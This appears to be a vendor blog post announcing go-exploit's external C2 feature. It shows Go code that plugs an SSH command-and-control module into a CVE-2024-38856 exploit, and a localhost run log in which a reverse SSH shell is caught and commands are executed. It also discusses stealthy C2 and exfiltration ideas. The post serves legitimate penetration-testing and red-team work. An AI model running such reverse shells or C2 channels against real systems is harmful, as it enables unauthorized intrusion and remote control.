Go back

VulnCheck go-exploit External C2s

avatar
Cale Blackhosakacorp.net

Key Takeaways

New go-exploit feature in 1.25.0 allows anyone to easily develop and integrate their own C2.
Example of an SSH-based C2 integrated in an exploit for CVE-2024-38856.
The future of integrating C2 frameworks and interactions.

The Initial Access Intelligence team is happy to announce go-exploit external C2s. This feature enables community members to create C2 channels and payloads with direct integration into the go-exploit framework. The changes initially pushed in 1.25.0 give go-exploit the flexibility to import external C2 modules and define multiple types of external C2s. For example, the following demonstrates an SSH-based C2 integrated into a go-exploit for CVE-2024-38856 from a third-party repository:

go-exploit SSH Server External C2

One of go-exploit’s goals is the intentional separation of duties. Creating an exploitation framework is a hard problem, creating a good payload or implant is another hard problem.Making secure channels to communicate with implants is difficult, how to dynamically modify payloads for evasion is also difficult, and how to manage them is another issue, further increasing the complexity and surrounding specific projects. This complexity balloons when you try to combine these components to solve every post-exploitation corner case and open-source these systems. With go-exploit, we’ve decided to stay focused on the goals of creating a flexible framework-driven reproduction of exploits.

In practice, this means that the framework keeps the internal collection of exploit payloads & C2 interactions down to a very simple, minimal and practical set, with trivial reverse shells, bind shells, droppers, and a few other in-memory use case-specific goodies that the team considers to be the "bare minimum" for use cases of N-day development. While this might work great for someone conducting penetration tests, the post-exploitation experience may be too barebones and oftentimes just a thin wrapper around calls to shell execution. This is not ideal for teams more concerned about stealth and is more hesitant to throw around exploits that don't explicitly use in-house developed implants where the Indicators of Compromise (IoCs) are a primary concern or payloads don't interact nicely with their operation management framework. Luckily, VulnCheck recognizes this potential limitation and has always offered a flag for informing the framework that the exploit handles the payload handling externally or via served HTTP files, which allows any payloads to trigger from the context of go-exploit but no callbacks get handled by the framework. That said, this isn’t always enough for real-life complex use cases and doesn't fully solve the other issues laid out.

Looking to the future, the team identified a few special requirements and wants for practitioners that other frameworks aren't great at supporting as first-class citizens:

  • Decoupling exploitation - Exploitation is its own step that shouldn't be as concerned about all the components of payload that are delivered in many cases. The team wants to allow for exploitation to slot in when needed or when that first foothold isn't easily available to teams. Exact use cases vary for everyone and exploitation should be flexible.
  • Tighter C2 framework integration - Being able to communicate with C2 frameworks and payload-catching components should be supported when possible to allow for the communication of exploitation steps and interaction with C2 frameworks.
  • Experimentation - Strange stuff works, and many other frameworks make it too hard to experiment. Letting folks trivially define their own payloads and even the ability to catch the callbacks with their own tools from exploits written with go-exploit are primary use cases.

How's it used and why decouple?

At the moment, VulnCheck provides a repository for External C2 Experiments, which stores:

This decoupling allows anyone who wants to develop a complex payload with evasion and C2 channel to create their own repository a-la our experiments repository or through a private project when teams want to keep components private, leaving the framework itself to focus on accelerating the speed and quality of exploits versus getting bogged down in the herculean effort of all the other steps. Then, after all that hard work, simply define a new C2 type in the target exploit and be off to the races. For an example of how simple it is to add the reverse SSH C2 to a go-exploit exploit, see below.

Add an import for the C2 module:

import c2ssh "github.com/vulncheck-oss/external-c2-experiments/ssh"

Then in the go-exploit project adding support to a exploit as follows:

ext := external.GetInstance(c2ssh.Name)
c2ssh.Configure(ext)
supportedC2 := []c2.Impl{
    c2ssh.SSHServer,
    c2.SimpleShellServer,
}

conf := config.NewRemoteExploit(
    config.ImplementedFeatures{AssetDetection: false, VersionScanning: false, Exploitation: false},
    config.CodeExecution, supportedC2, "", []string{},
    []string{}, "", "HTTP", 8080)
sploit := ExternalSSHTest{}
exploit.RunProgram(sploit, conf)

In the prior snippet, you can see an external C2 defined, added the supported C2 structure, and passed like normal. No other go-exploit modification is required to learn about the server side component.

A few things to keep in mind are that the exploit payload must be C2 aware and can't make assumptions that the communications channel has support in the go-exploit/payload types. Because of this, the team created an example of a reverse SSH shell that implements a basic C2 to match close to the other internal minimal set examples: ssh/payload/reverse_shell.

The team has documented the steps for full usage in each of the experiment’s directories.

A side-effect of this is that this allows for go-exploit to inherit the command line flag arguments without any changes to the exploit. For the preceding, you suddenly have access to the following flags for free:

-SSHShellServer.command string
    Run a single command and exit the payload.
-SSHShellServer.heartbeat
    Print heartbeat checkins from the c2
-SSHShellServer.interactive
    Run the commands in an interactive shell. (default true)
-SSHShellServer.server-messages
    Print server messages to the client

Of course, everyone likes shells, so here's what it looks like in real exploit usage of the reverse SSH shell server external module:

poptart@grimm $ go run exploit.go -lhost 127.0.0.1 -lport 2222 -rhost 127.0.0.1 -rport 1337 -e -fll DEBUG -ell DEBUG -payload ../payload/reverse_shell/reverse_shell
time=2024-09-04T12:36:35.970-06:00 level=DEBUG msg="Using the HTTP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
time=2024-09-04T12:36:35.971-06:00 level=STATUS msg="Starting target" index=0 host=127.0.0.1 port=1337 ssl=false "ssl auto"=false
time=2024-09-04T12:36:35.971-06:00 level=DEBUG msg="External SSH Listener starting: 127.0.0.1:2222"
time=2024-09-04T12:36:35.974-06:00 level=DEBUG msg="SSH: Handshaking for 127.0.0.1:35222"
time=2024-09-04T12:36:35.977-06:00 level=SUCCESS msg="Active shell SSH: Connection accepted from poptart@127.0.0.1:35222 session: 100f32d6dbee3f705dfc41dc3527b5f7b9b3eef845f3ab9e1da1bacd36c41901 (SSH-2.0-OpenSSH_9.7)"
time=2024-09-04T12:36:35.977-06:00 level=STATUS msg="Interactive session started"
id
time=2024-09-04T12:36:41.930-06:00 level=STATUS msg="Running command on SSH client: 'id'"
time=2024-09-04T12:36:42.082-06:00 level=SUCCESS msg="uid=1000(poptart) gid=100(users) groups=100(users),67(libvirtd)\n"

Historically, many of these components interact with some sort of console or a framework for catching and managing caught callbacks. One thing this decoupling allows for is exploits written in go-exploit to move to more of an API-driven management, which lets the framework move beyond catching simple TCP or TLS shells and interacts with those frameworks directly. This is further helped by the fact that go-exploit is designed to output in JSON or structured formats. The server-to-client or client-to-server distinction quickly becomes an abstracted component and lets go-exploit integrate with anyone who can write that external C2 module for your favorite tooling.

Support experimentation

VulnCheck believes that there are lots of lesser-known or less battle-tested techniques for C2 communications that are just sitting on the table for attackers. Over the years, I've Discussed how routing protocols have the potential to be used for exfiltration due to firewall rules being more permissive about allowing for routing. I’ve also highlighted how statically interacting with web applications for using Slack/Teams/Dropbox/etc was error-prone and how having a C2 channel that could use dynamically evaluated interactions could increase stability and stealth or how many shared object reflections that have long been popular with real-world malware never trickled into the mainstream OSS security tooling. All of these have been little experiments I've messed with but have been difficult to directly plug and play into real-world exploits… until now.

Experimentation should be easy and having a framework that allows for easy and agnostic interaction allows for more "cool weirdness" to propagate. Ideally, this creates an environment where both attackers and defenders can focus on fundamentals.

The future & integrating C2s

Of course, this isn't the end. There are some sharp edges around ensuring that binary payload delivery is more supported in the framework; more examples, programmatic exploit input, and examples of supporting C2 frameworks are all in the works. The team also has more work to do to support external frameworks by allowing the external C2 channels to declare what types of payloads they support to exploit the payload to C2 channels and explicitly declare dependencies.

The team also believes that the C2 integration allows for some of the most powerful interactions with targets via go-exploit. We look forward to establishing a community for those who want to interact with go-exploit.

The world in which you can plug Go exploit into your favorite platform isn’t far away. This wil enable your next Red Team with all of the excellent exploits written in go-exploit and the large collection of VulnCheck Initial Access Intelligence exploits that we provide to customers.